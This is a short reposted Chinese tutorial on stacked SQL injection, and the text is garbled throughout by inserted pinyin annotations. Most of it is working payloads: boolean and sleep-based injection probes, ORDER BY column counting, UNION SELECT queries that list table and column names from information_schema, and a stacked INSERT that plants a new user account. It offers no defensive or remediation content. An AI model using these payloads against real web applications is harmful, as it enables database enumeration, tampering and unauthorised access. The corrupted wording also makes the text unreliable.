堆疊注入
堆疊注入就是可以同時(shí)執(zhí)行多條語(yǔ)句,危害較大,利用此漏洞可以進(jìn)行刪庫(kù)或者修改數(shù)據(jù)庫(kù)信息
檢測(cè)是否需存在sql注入
1' and 1=1 --
1' and 1=2 -- #查看頁(yè)面是否返回一致
1' ;sleep(5) #檢測(cè)是否存在堆疊注入
查詢存在多少字段
1' order by 5 --
使用聯(lián)合查詢獲取表名
-1' union select 1,2,(select group_concat(TABLE_NAME) from
information_schema.TABLES where TABLE_SCHEMA=database() limit 1) --
使用聯(lián)合查詢獲取字段名稱(chēng)
-1' union select 1,2,(select group_concat(column_name) from
information_schema.columns where TABLE_NAME='users' limit 1)--+
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-406446.html
使用堆疊注入添加賬號(hào)密碼
1' ;insert into users values(33,'heihei','tiantian') --+
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-406446.html
到了這里,關(guān)于【網(wǎng)絡(luò)安全】SQL注入--堆疊注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!